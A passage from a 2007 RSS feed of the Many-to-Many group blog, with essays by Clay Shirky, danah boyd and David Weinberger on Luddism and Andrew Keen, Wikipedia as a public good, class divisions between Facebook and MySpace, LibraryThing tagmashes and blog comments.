octavo bookbinding could hold about that many words. The album is already a marginal form, and the novel will probably become one in the next fifty years, but that also happened to the sonnet and the madrigal. </p> <p>I&#8217;m old enough to remember the dwindling world, but it never meant enough to me to make me a nostalgist. In my students&#8217; work I see hints of a culture that takes both the new freedoms and the new constraints for granted, but the fullest expression of that world will probably come after I&#8217;m dead. But despite living in transitional times, I&#8217;m not willing to pretend that the erosion of my worldview is a crisis for culture itself. It&#8217;s just how things are right now.</p> <p>Carr fails to note that the LP was created <em>for</em> classical music, but used <em>by</em> rock and roll bands. Creators work within whatever constraints exist at the time they are creating, and when the old constraints give way, new forms arise while old ones dwindle. Some work from the older forms will survive &#8212; Shakespeare&#8217;s 116th sonnet remains a masterwork &#8212; while other work will wane &#8212; <em>Exile</em> as an album-length experience is a fading memory. This kind of transition isn&#8217;t a threat to Culture Itself, or even much of a tragedy, and we should resist attempts to preserve old constraints in order to defend old forms.</p> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=KA0lFc"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=KA0lFc" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=LN0DRASP"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=LN0DRASP" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Many-to-many/~4/139651752" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/139651752/new_freedom_destroys_old_culture_a_response_to_nick_carr.php http://many.corante.com/archives/2007/08/01/new_freedom_destroys_old_culture_a_response_to_nick_carr.php clays social software Wed, 01 Aug 2007 12:54:35 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2007%2F08%2F01%2Fnew_freedom_destroys_old_culture_a_response_to_nick_carr.phphttp://many.corante.com/archives/2007/08/01/new_freedom_destroys_old_culture_a_response_to_nick_carr.php responding to critiques of my essay on class <p>One month ago, I put out <a href="http://www.danah.org/papers/essays/ClassDivisions.html">a blog essay</a> that took on a life of its own. This essay addressed one of America&#8217;s most taboo topics: class. Due to personal circumstances, I wasn&#8217;t online as things spun further and further out of control and I had neither the time nor the emotional energy to address all of the astounding misinterpretations that I saw as a game of digital telephone took hold. I&#8217;ve browsed the hundreds of emails, thousands of blog posts, and thousands of comments across the web. I&#8217;m in awe of the amount of time and energy people put into thinking through and critiquing my essay. In the process, I&#8217;ve also realized that I was not always so effective at communicating what I wanted to communicate. To clarify some issues, I decided to put together a long response that addresses a variety of different issues. </p> <p><center><a href="http://www.danah.org/papers/essays/ResponseToClassDivisions.html">Responding to Responses to: &#8220;Viewing American class divisions through Facebook and MySpace&#8221;</a></center></p> <p>Please let me know if this does or does not clarify the concerns that you&#8217;ve raised. </p> <p><i>(<a href="http://www.zephoria.org/thoughts/archives/2007/07/25/responding_to_c.html#comments">Comments on Apophenia</a>)</i></p> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=elVDCW"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=elVDCW" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=kNTPbonQ"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=kNTPbonQ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Many-to-many/~4/137491794" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/137491794/responding_to_critiques_of_my_essay_on_class.php http://many.corante.com/archives/2007/07/26/responding_to_critiques_of_my_essay_on_class.php danah social software Thu, 26 Jul 2007 01:05:42 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2007%2F07%2F26%2Fresponding_to_critiques_of_my_essay_on_class.phphttp://many.corante.com/archives/2007/07/26/responding_to_critiques_of_my_essay_on_class.php Tagmashes from LibraryThing <p>im Spalding at <a href="http://www.LibraryThing.com">LibraryThing</a> has introduced a new wrinkle in the tagosphere&#8230;and wrinkles are welcome because they pucker space in semantically interesting ways. (Block that metaphor!)</p> <p>At LibraryThing, people list their books. And, of course, we tag &#8216;em up good. For example, Freakonomics has 993 unique tags (ignoring case differences), and 8,760 total tags. Now, tags are of course useful. But so are subject headings. So, Tim has come up with a clever way of deriving subject headings bottom up. He&#8217;s introduced &#8220;tagmashes,&#8221; which are (in essence) searches on two or more tags. So, you could ask to see all the books tagged &#8220;france&#8221; and &#8220;wwii.&#8221; But the fact that you&#8217;re asking for that particular conjunction of tags indicates that those tags go together, at least in your mind and at least at this moment. Library turns that tagmash into a page with a persistent <span class="caps">URL.</span> The page presents a de-duped list of the results, ordered by interestinginess, and with other tagmashes suggested, all based on the magic of statistics. Over time, a large, relatively flat set of subject headings may emerge, which, subject to further analysis, could get clumpier and clumpier with meaning.</p> <p>You may be asking yourself how this differs from saved searches. I asked Tim. He explained that while the system does a search when you ask for a new tagmash, it presents the tagmash as if it were a topic, not a search. For one thing, lists of search results generally don&#8217;t have persistent <span class="caps">URL</span>s. More important, to the user, tagmash pages feel like topic pages, not search results pages.</p> <p>And you may also be asking yourself how this differs from a folksonomy. While I&#8217;d want to count it as a folksonomic technique, in a traditional folksonomy (oooh, I hope I&#8217;m the first to use that phrase!), a computer can notice which terms are used most often, and might even notice some of the relationships among the terms. With tagmashes, the info that this tag is related to that one is gleaned from the fact that a human said that they were related.</p> <p>LibraryThing keeps innovating this way. It&#8217;s definitely a site to watch.</p> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=LtRVSs"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=LtRVSs" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=OuA9AaWH"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=OuA9AaWH" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Many-to-many/~4/137334107" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/137334107/tagmashes_from_librarything.php http://many.corante.com/archives/2007/07/25/tagmashes_from_librarything.php David social software Wed, 25 Jul 2007 14:14:36 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2007%2F07%2F25%2Ftagmashes_from_librarything.phphttp://many.corante.com/archives/2007/07/25/tagmashes_from_librarything.php Spolsky on Blog Comments: Scale matters <p>Joel Spolsky approvingly quotes Dave Winer on <a href="http://www.scripting.com/2007/01/01.html#theUneditedVoiceOfAPerson">the subject of blog-comments</a>:</p> <blockquote> The cool thing about blogs is that while they may be quiet, and it may be hard to find what you&#8217;re looking for, at least you can say what you think without being shouted down. This makes it possible for unpopular ideas to be expressed. And if you know history, the most important ideas often are the unpopular ones&#8230;. That&#8217;s what&#8217;s important about blogs, not that people can comment on your ideas. As long as they can start their own blog, there will be no shortage of places to comment.</blockquote> <p>Joel then adds <a href="http://www.joelonsoftware.com/items/2007/07/20.html">his own observations</a>:</p> <blockquote>When a blog allows comments right below the writer&#8217;s post, what you get is a bunch of interesting ideas, carefully constructed, followed by a long spew of noise, filth, and anonymous rubbish that nobody &#8230; nobody &#8230; would say out loud if they had to take ownership of their words.</blockquote> <p>This can be true, all true, as any casual read of blog comments can attest. BoingBoing turned off their comments years ago, because they&#8217;d long since passed the scale where polite conversation was possible. The <a href="http://www.shirky.com/writings/group_user.html">Tragedy of the Conversational Commons</a> becomes too persistently tempting when an audience gorws large. At BoingBoing scale, <a href="http://www.penny-arcade.com/comic/2004/03/19">John Gabriel&#8217;s Greater Internet Fuckwad Theory</a> cannot be repealed.</p> <p>But the uselessness of comments it is not the universal truth that <s>Dave or</s> (<i>fixed, per Dave&#8217;s comment below</i>) Joel makes it out to be, for two reasons. First, posting and conversation are different kinds of things &#8212; same keyboard, same text box, same web page, different modes of expression. Second, the sites that suffer most from anonymous postings and drivel are the ones operating at large scale.</p> <p>If you are operating below that scale, comments can be quite good, in a way not replicable in any &#8220;everyone post to their own blog&#8221;. To take but three recent examples, take a look at the comments on <a href="http://many.corante.com/archives/2007/06/13/old_revolutions_good_new_revolutions_bad_a_response_to_gorman.php#comments">my post on Michael Gorman</a>, on danah&#8217;s post at Apophenia on <a href="http://www.zephoria.org/thoughts/archives/2007/03/17/fame_narcissism.html#comment-232399">fame, narcissism and MySpace</a> and on Kieran Healy&#8217;s <a href="http://crookedtimber.org/2007/07/19/rediscovering-intelligent-design/#comments">biological thought experiment on Crooked Timber.</a></p> <p>Those three threads contain a hundred or so comments, including some distinctly low-signal bouquets and brickbats. But there is also spirited disputation and emendation, alternate points of view, linky goodness, and a conversational sharpening of the argument on all sides, in a way that doesn&#8217;t happen blog to blog. This, I think, is the missing element in Dave and Joel&#8217;s points &#8212; two blog posts do not make a conversation. The conversation that can be attached to a post is different in style and content, and in intent and effect, than the post itself. </p> <p>I have long thought that the &#8216;freedom of speech means no filtering&#8217; argument is dumb where blogs are concerned &#8212; it is the blogger&#8217;s space, and he or she should feel free to delete, disemvowel, or otherwise dispose of material, for any reason, or no reason. But we&#8217;ve long since passed the point where what happens on a blog is mainly influenced by what the software does &#8212; the question to ask about comments is not whether they are available, but how a community uses them. The value in in blogs as communities of practice is considerable, and its a mistake to write off comment threads on those kinds of blogs just because, in other environments, comments are lame. </p> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=iPZRDD"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=iPZRDD" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=D2OEw1uY"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=D2OEw1uY" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Many-to-many/~4/135705836" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/135705836/spolsky_on_blog_comments_scale_matters.php http://many.corante.com/archives/2007/07/20/spolsky_on_blog_comments_scale_matters.php clays social software Fri, 20 Jul 2007 12:02:29 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2007%2F07%2F20%2Fspolsky_on_blog_comments_scale_matters.phphttp://many.corante.com/archives/2007/07/20/spolsky_on_blog_comments_scale_matters.php "The internet's output is data, but its product is freedom" <p>I said that in <a href="http://many.corante.com/archives/2007/07/09/andrew_keen_rescuing_luddite_from_the_luddites.php#comments">Andrew Keen: Rescuing &#8216;Luddite&#8217; from the Luddites</a>, to which Phil, one of the commenters, replied</p> <p><em>There are assertions of verifiable fact and then there are invocations of shared values. Don&#8217;t mix them up.</em></p> <p>I meant this as an assertion of fact, but re-reading it after Tom&#8217;s feedback, it comes off as simple flag-waving, since I&#8217;d compressed the technical part of the argument out of existence. So here it is again, in slightly longer form:</p> <p>The internet&#8217;s essential operation is to encode and transmit data from sender to receiver. In 1969, this was not a new capability; we&#8217;d had networks that did this in since the telegraph, at the day of the internet&#8217;s launch, we had a phone network that was nearly a hundred years old, alongside more specialized networks for things like telexes and wire-services for photographs.</p> <p>Thus the basics of what the internet did (and does) isn&#8217;t enough to explain its spread; what is it <em>for</em> has to be accounted for by looking at the difference between it and the other data-transfer networks of the day. </p> <p>The principal difference between older networks and the internet (ARPAnet, at its birth) is the end-to-end principle, which says, roughly, &#8220;The best way to design a network is to allow the sender and receiver to decide what the data <em>means</em>, without asking the intervening network to interpret the data.&#8221; The original expression of this idea is from the Saltzer and Clark paper <a href="http://web.mit.edu/Saltzer/www/publications/endtoend/endtoend.pdf">End-to-End Arguments in System Design</a>; the same argument is explained in other terms in Isenberg&#8217;s <a href="http://www.hyperorg.com/misc/stupidnet.html">Stupid Network</a> and Searls and Weinberger&#8217;s <a href="http://www.worldofends.com/">World of Ends</a>.</p> <p>What the internet is <em>for</em>, in other words, what made it worth adopting in a world already well provisioned with other networks, was that the sender and receiver didn&#8217;t have to ask for either help or permission before inventing a new kind of message. The core virtue of the internet was a huge increase in the technical freedom of all of its participating nodes, a freedom that has been translated into productive and intellectual freedoms for its users.</p> <p>As Scott Bradner put it, the Internet means you don’t have to convince anyone else that something is a good idea before trying it. The upshot is that the internet&#8217;s output is data, but its product is freedom.</p> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=8luKWP"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=8luKWP" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=Dk9BQLYa"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=Dk9BQLYa" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Many-to-many/~4/132337638" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/132337638/the_internets_output_is_data_but_its_product_is_freedom.php http://many.corante.com/archives/2007/07/10/the_internets_output_is_data_but_its_product_is_freedom.php clays social software Tue, 10 Jul 2007 11:07:05 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2007%2F07%2F10%2Fthe_internets_output_is_data_but_its_product_is_freedom.phphttp://many.corante.com/archives/2007/07/10/the_internets_output_is_data_but_its_product_is_freedom.php Andrew Keen: Rescuing 'Luddite' from the Luddites <p>Last week, while in <a href="http://www.kcrw.com/news/programs/tp/tp070706is_todays_internet_k">a conversation with Andrew Keen</a> on the radio show <em>To The Point</em>, he suggested that he was not opposed to the technology of the internet, but rather to how it was being used. </p> <p>This reminded me of <a href="http://blogs.britannica.com/blog/main/author/mgorman">Michael Gorman&#8217;s insistence</a> that digital tools are fine, so long as they are shaped to replicate the social (and particularly academic) institutions that have grown up around paper.</p> <p>There is a similar strand in these two arguments, namely that technology is one thing, but the way it is used is another, and that the two can and should be separated. I think this view is in the main wrong, even Luddite, but to make such an accusation requires a definition of Luddite considerably more grounded than &#8216;anti-technology&#8217; (a vacuous notion &#8212; no one who wears shoes can reasonably be called &#8216;anti-technology.&#8217;) Both Keen and Gorman have said they are not opposed to digital technology. I believe them when they say this, but I still think their views are Luddite, by historical analogy with the real Luddite movement of the early 1800s.</p> <p>What follows is a long detour into the Luddite rebellion, followed by a reply to Keen about the inseparability of the internet from its basic effects.</p> <p><strong>Infernal Machines</strong></p> <p>The historical record is relatively clear. In March of 1811, a group of weavers in Nottinghamshire began destroying mechanical looms. This was not the first such riot &#8212; in the late 1700s, when Parliament refused to guarantee the weaver&#8217;s control of supply of woven goods, workers in Nottingham destroyed looms as well. The Luddite rebellion, though, was unusual for several reasons: its breadth and sustained character, taking place in many industrializing towns at once; its having a nominal leader, going by the name Ned Ludd, General Ludd, or King Ludd (the pseudonym itself a reference to an apocryphal figure from an earlier loom-breaking riot in the late 1700s); and its <a href="http://www.amazon.com/Writings-Luddites-Kevin-Binfield/">written documentation of grievances and rationale</a>. The rebellion, which lasted two years, was ultimately put down by force, and was over in 1813.</p> <p>Over the last two decades, several historians have re-examined the record of the Luddite movement, and have attempted to replace the simplistic view of Luddites as being opposed to technological change with a more nuanced accounting of their motivations and actions. The common thread of the analysis is that the Luddites didn&#8217;t object to mechanized wide-frame looms <em>per se</em>, they objected to the price collapse of woven goods caused by the way industrialists were using the looms. Though the target of the Luddite attacks were the looms themselves, their concerns and goals were not about technology but about economics.</p> <p>I believe that the nuanced view is wrong, and that the simpler view of Luddites as counter-revolutionaries is in fact the correct one. The romantic view of Luddites as industrial-age Robin Hoods, concerned not to halt progress but to embrace justice, runs aground on both the written record, in which the Luddites outline a program that is against any technology that increases productivity, and on their actions, which were not anti-capitalist but anti-consumer. It also assumes that there was some coherent distinction between technological and economic effects of the looms; there was none.</p> <p><strong>A Technology is For Whatever Happens When You Use It</strong></p> <p>The idea that the Luddites were targeting economic rather than technological change is a category fallacy, where the use of two discrete labels (technology and economics, in this case) are wrongly thought to demonstrate two discrete aspects of the thing labeled (here wide-frame looms.) This separation does not exist in this case; the technological effects of the looms <em>were</em> economic. This is because, at the moment of its arrival, what a technology does and what it is for are different.</p> <p>What any given technology does is fairly obvious: rifles fire bullets, pencils make marks, looms weave cloth, and so on. What a technology is <em>for</em>, on the other hand, what leads people to adopt it, is whatever new thing becomes possible on the day of its arrival. The Winchester repeating rifle was not for firing bullets &#8212; that capability already existed. It was for decreasing the wait between bullets. Similarly, pencils were not for writing but for portability, and so on.</p> <p>And the wide-frame looms, target of the Luddite&#8217;s destructive forays? What were they for? They weren&#8217;t for making cloth &#8212; humankind was making cloth long before looms arrived. They weren&#8217;t for making better cloth &#8212; in 1811, industrial cloth was inferior to cloth spun by the weavers. Mechanical looms were for making cheap cloth, lots and lots of cheap cloth. The output of a mechanical loom was cloth, but the <em>product</em> of such a loom was savings.</p> <p>The wide-frame loom was a cost-lowering machine, and as such, it threatened the old inefficiencies on which the Luddite&#8217;s revenues depended. Their revolt had the goal of preventing those savings from being passed along to the customer. One of their demands was that Parliament outlaw &#8220;all Machinery hurtful to Commonality&#8221; &#8212; all machines that worked efficiently enough to lower prices. </p> <p>Perhaps more tellingly, and against recent fables of Luddism as a principled anti-capitalist movement, they refrained from breaking the looms of industrial weavers <em>who didn&#8217;t lower their prices.</em> What the Luddites were rioting in favor of was price gouging; they didn&#8217;t care how much a wide-frame loom might save in production costs, so long as none of those savings were passed on to their fellow citizens. </p> <p>Their common cause was not with citizens and against industrialists, it was against citizens and with those industrialists who joined them in a cartel. The effect of their campaign, had it succeeded, would been to have raise, rather than lower, the profits of the wide-frame operators, while producing no benefit for those consumers who used cloth in their daily lives, which is to say the entire population of England. (Tellingly, none of the &#8220;Robin Hood&#8221; versions of Luddite history make any mention of the effect of high prices on the buyers of cloth, just on the sellers.)</p> <p><strong>Back to Keen</strong></p> <p>A Luddite argument is one in which some broadly useful technology is opposed on the grounds that it will discomfit the people who benefit from the inefficiency the technology destroys. An argument is especially Luddite if the discomfort of the newly challenged professionals is presented as a general social crisis, rather than as trouble for a special interest. (&#8220;How will we know what to listen to without record store clerks!&#8221;) When the music industry suggests that the prices of music should continue to be inflated, to preserve the industry as we have known it, that is a Luddite argument, as is the suggestion that Google pay reparations to newspapers or the phone company&#8217;s opposition to VoIP undermining their ability to profit from older ways of making phone calls.</p> <p>This is what makes Keen&#8217;s argument a Luddite one &#8212; he doesn&#8217;t oppose all uses of technology, just ones that destroy older ways of doing things. In his view, the internet does not need to undermine the primacy of the copy as the anchor for both filtering and profitability. </p> <p>But Keen is wrong. What the internet does is move data from point A to B, but what it is <em>for</em> is empowerment. Using the internet without putting new capabilities into the hands of its users (who are, by definition, amateurs in most things they can now do) would be like using a mechanical loom and not lowering the cost of buying a coat &#8212; possible, but utterly beside the point. </p> <p>The internet&#8217;s output is data, but its product is freedom, lots and lots of freedom. Freedom of speech, freedom of the press, freedom of association, the freedom of an unprecedented number of people to say absolutely anything they like at any time, with the reasonable expectation that those utterances will be globally available, broadly discoverable at no cost, and preserved for far longer than most utterances are, and possibly forever.</p> <p>Keen is right in understanding that this massive supply-side shock to freedom will destabilize and in some cases destroy a number of older social institutions. He is wrong in believing that there is some third way &#8212; lets deploy the internet, but not use it to increase the freedom of amateurs to do as they like.</p> <p>It is possible to want a society in which new technology doesn&#8217;t demolish traditional ways of doing things. It is not possible to hold this view without being a Luddite, however. That view &#8212; incumbents should wield veto-power over adoption of tools they dislike, no matter the positive effects for the citizenry &#8212; is the core of Luddism, then and now. </p> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=yokhUR"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=yokhUR" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=NZ6oSPou"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=NZ6oSPou" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Many-to-many/~4/132025516" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/132025516/andrew_keen_rescuing_luddite_from_the_luddites.php http://many.corante.com/archives/2007/07/09/andrew_keen_rescuing_luddite_from_the_luddites.php clays social software Mon, 09 Jul 2007 13:32:41 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2007%2F07%2F09%2Fandrew_keen_rescuing_luddite_from_the_luddites.phphttp://many.corante.com/archives/2007/07/09/andrew_keen_rescuing_luddite_from_the_luddites.php knowledge access as a public good <p>Over at the Britannica Blog, Michael Gorman (the former president of the American Library Association) wrote <a href="http://blogs.britannica.com/blog/main/author/mgorman">a series of posts concerning web2.0</a>. In short, he&#8217;s against it and thinks everything to do with web2.0 and Wikipedia is bad bad bad. A handful of us were given access to the posts before they were posted and asked to craft responses. The respondents are scholars and thinkers and writers of all stripes (including my dear friend and fellow <span class="caps">M2M </span>blogger <a href="http://blogs.britannica.com/blog/main/author/cshirky">Clay Shirky</a>). Because I addressed all of his arguments at once, my piece was held to be released in the final week of the public discussion. And that time is now. So enjoy!</p> <ul><li><a href="http://blogs.britannica.com/blog/main/author/mgorman">Michael Gorman&#8217;s commentary</a> <li><a href="http://blogs.britannica.com/blog/main/2007/06/knowledge-access-as-a-public-good/">My response</a> </ul> <p>(Comments at <a href="http://www.zephoria.org/thoughts/archives/2007/06/27/knowledge_acces.html">Apophenia</a>)</p><p>Below is a copy of the response I wrote over at Britannica:</p> <blockquote>As a child, I believed that all educated people were wise. In particular, I placed educators and authorities on a high pedestal and I entered the academy both to seek their wisdom and to become one of them. Unfortunately, eleven years of higher education has taught me that parts of the academy is rife with many of the same problems that plague society as a whole: greed, self-absorbtion, addiction to power, and an overwhelming desire to be validated, praised, and rewarded. As Dr. Gorman laments the ills of contemporary society, I find myself nodding along. Doing ethnographic work in the United States often leaves me feeling disillusioned and numb. It breaks my heart every time a teenager tells me that s/he is more talented than Sanjaya and thus is guaranteed a slot on the next “American Idol.” <p>The pervasive view that American society is a meritocracy makes me want to scream, but I fear as though my screams fall on deaf ears.</p> <p>To cope with my frustration, I often return to my bubble. My friends all seem to come from Lake Wobegon where “the women are strong, the men are good looking, and all of the children are above average.” I have consciously surrounded myself with people who think like me, share my values, and are generally quite overeducated. I feel very privileged to live in such an environment, but like all intellectuals who were educated in the era of identity politics, I am regularly racked with guilt over said privilege.</p> <p>The Internet is a funny thing, especially now that those online are not just the connected elite. It mirrors and magnifies the offline world - all of the good, bad, and ugly. I don’t need to travel to Idaho to face neo-Nazis. I don’t need to go to Colorado Springs to hear religious views that contradict my worldivew. And I don’t need to go to Capitol Hill to witness the costs of power for power’s sake. </p> <p>If I am willing to look, there are places on the Internet that will expose me to every view on this planet, even those that I’d prefer to pretend did not exist. Most of the privileged people that I know prefer to live like ostriches, ignoring the realities of everyday life in order to sustain their privileges. I am trying not to be that person, although I find it to be a challenge.</p> <p>In the 16th century, Sir Francis Bacon famously wrote that “knowledge is power.” Not surprisingly, institutions that profit off of knowledge trade in power. In an era of capitalism, this equation often gets tainted by questions of profitability. Books are not published simply because they contain valued and valid information; they are published if and when the publisher can profit off of the sale of those books. Paris Hilton stands a far better chance of getting a publishing deal than most astute and thought-provoking academics. Even a higher education is becoming more inaccessible to more people at a time when a college degree is necessary to work in a cafe. $140,000 for a college education is a scary proposition, even if you want to enter the ratrace of the white collar mega-corporations where you expect to make a decent salary. Amidst this environment, it frustrates me to hear librarians speak about information dissemination while they create digital firewalls that lock people out of accessing knowledge unless they have the right academic credentials.</p> <p>I entered the academy because I believe in knowledge production and dissemination. I am a hopeless Marxist. I want to equal the playing field; I want to help people gain access to information in the hopes that they can create knowledge that is valuable for everyone. I have lost faith in traditional organizations leading the way to mass access and am thus always on the lookout for innovative models to produce and distribute knowledge.</p> <p>Unlike Dr. Gorman, Wikipedia brings me great joy. I see it as a fantastic example of how knowledge can be distributed outside of elite institutions. I have watched stubs of articles turn into rich homes for information about all sorts of subjects. What I like most about Wikipedia is the self-recognition that it is always a work-in- progress. The encyclopedia that I had as a kid was a hand-me-down; it stated that one day we would go to the moon. Today, curious poor youth have access to information in an unprecedented way. It may not be perfect, but it is far better than a privilege-only model of access.</p> <p>Knowledge is not static, but traditional publishing models assume that it can be captured and frozen for consumption. What does that teach children about knowledge? Captured knowledge makes sense when the only opportunity for dissemination is through distributing physical artifacts, but this is no longer the case. Now that we can get information to people faster and with greater barriers, why should we support the erection of barriers?</p> <p>In middle school, I was sent to the principal’s office for correcting a teacher’s math. The issue was not whether or not I was correct - I was; I was ejected from class for having the gall to challenge authority. Would Galileo have been allowed to write an encyclopedia article? The “authorities” of his day rejected his scientific claims. History has many examples of how the vetting process has failed us. Imagine all of the knowledge that was produced that was more successfully suppressed by authorities. In the era of the Internet, gatekeepers have less power. I don’t think that this is always a bad thing.</p> <p>Like paper, the Internet is a medium. People express a lot of crap through both mediums. Yet, should we denounce paper as inherently flawed? The Internet - and Wikipedia - change the rules for distribution and production. It means that those with knowledge do not have to retreat to the ivory towers to share what they know. It means that individuals who know something can easily share it, even when they are not formally declared as experts. It means that those with editing skills can help the information become accessible, even if they only edit occasionally. It means that multi-lingual individuals can help get information to people who speak languages that publishers do not consider worth their time. It means that anyone with an Internet connection can get access to information traditionally locked behind the gates of institutions (and currently locked in digital vaults).</p> <p>Don’t get me wrong - Wikipedia is not perfect. But why do purported experts spend so much time arguing against it rather than helping make it a better resource? It is free! It is accessible! Is it really worth that much prestige to write an encyclopedia article instead of writing a Wikipedia entry? While there are certainly errors there, imagine what would happen if all of those who view themselves as experts took the time to make certain that the greatest and most broad-reaching resource was as accurate as possible.</p> <p>I believe that academics are not just the producers of knowledge - they are also teachers. As teachers, we have an ethical responsibility to help distribute knowledge. We have a responsibility to help not just the 30 people in our classroom, but the millions of people globally who will never have the opportunity to sit in one of our classes. The Internet gives us the tool to do this. Why are we throwing this opportunity away? Like Dr. Gorman, I don’t believe that all crowds are inherently wise. But I also don’t believe that all authorities are inherently wise. Especially not when they are vying for tenure.</p> <p>Why are we telling our students not to use Wikipedia rather than educating them about how Wikipedia works? Sitting in front of us is an ideal opportunity to talk about how knowledge is produced, how information is disseminated, how ideas are shared. Imagine if we taught the “history” feature so that students would have the ability to track how a Wikipedia entry is produced and assess for themselves what the authority of the author is. You can’t do this with an encyclopedia. Imagine if we taught students how to fact check claims in Wikipedia and, better yet, to add valuable sources to a Wikipedia entry so that their work becomes part of the public good.</p> <p>Herein lies a missing piece in Dr. Gorman’s puzzle. The society that he laments has lost faith in the public good. Elitism and greed have gotten in the way. By upholding the values of the elite, Dr. Gorman is perpetuating views that are destroying efforts to make knowledge a public good. Wikipedia is a public-good project. It is the belief that division of labor has value and that everyone has something to contribute, if only a spelling correction. It is the belief that all people have the inalienable right to knowledge, not just those who have academic chairs. It is the belief that the powerful have no right to hoard the knowledge. And it is the belief that people can and should collectively help others gain access to information and knowledge. </p> Personally, I hold these truths to be self-evident, and I’d rather see us put in the effort to make Wikipedia an astounding resource that can be used by all people than to try to dismantle it simply because it means change.</blockquote> <p>(Comments at <a href="http://www.zephoria.org/thoughts/archives/2007/06/27/knowledge_acces.html">Apophenia</a>)</p> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=0CBzbt"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=0CBzbt" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=Ss5AgHTK"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=Ss5AgHTK" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Many-to-many/~4/128452287" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/128452287/knowledge_access_as_a_public_good.php http://many.corante.com/archives/2007/06/27/knowledge_access_as_a_public_good.php danah social software Wed, 27 Jun 2007 15:32:02 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2007%2F06%2F27%2Fknowledge_access_as_a_public_good.phphttp://many.corante.com/archives/2007/06/27/knowledge_access_as_a_public_good.php viewing American class divisions through Facebook and MySpace <p>Over the last six months, i&#8217;ve noticed an increasing number of press articles about how high school teens are leaving MySpace for Facebook. That&#8217;s only partially true. There is indeed a change taking place, but it&#8217;s not a shift so much as a fragmentation. Until recently, American teenagers were flocking to MySpace. The picture is now being blurred. Some teens are flocking to MySpace. And some teens are flocking to Facebook. Which go where gets kinda sticky, because it seems to primarily have to do with socio-economic class.</p> <p>I&#8217;ve been trying to figure out how to articulate this division for months. I have not yet succeeded. So, instead, I decided to write <a href="http://www.danah.org/papers/essays/ClassDivisions.html">a blog essay</a> addressing what I&#8217;m seeing. I suspect that this will be received with criticism, but my hope is that the readers who encounter this essay might be able to help me think through this. In other words, I want feedback on this piece. </p> <p><center><a href="http://www.danah.org/papers/essays/ClassDivisions.html">Viewing American class divisions through Facebook and MySpace</a></center></p> <p>What I lay out in <a href="http://www.danah.org/papers/essays/ClassDivisions.html">this essay</a> is rather disconcerting. Hegemonic American teens (i.e. middle/upper class, college bound teens from upwards mobile or well off families) are all on or switching to Facebook. Marginalized teens, teens from poorer or less educated backgrounds, subculturally-identified teens, and other non-hegemonic teens continue to be drawn to MySpace. A class division has emerged and it is playing out in the aesthetics, the kinds of advertising, and the policy decisions being made. </p> <p>Please check out this essay and share your thoughts in <a href="http://www.zephoria.org/thoughts/archives/2007/06/24/viewing_america.html#comments">the comments on Apophenia</a>.</p> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=ndw28x"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=ndw28x" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=9igm6XPo"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=9igm6XPo" border="0"></img></a> </div><img 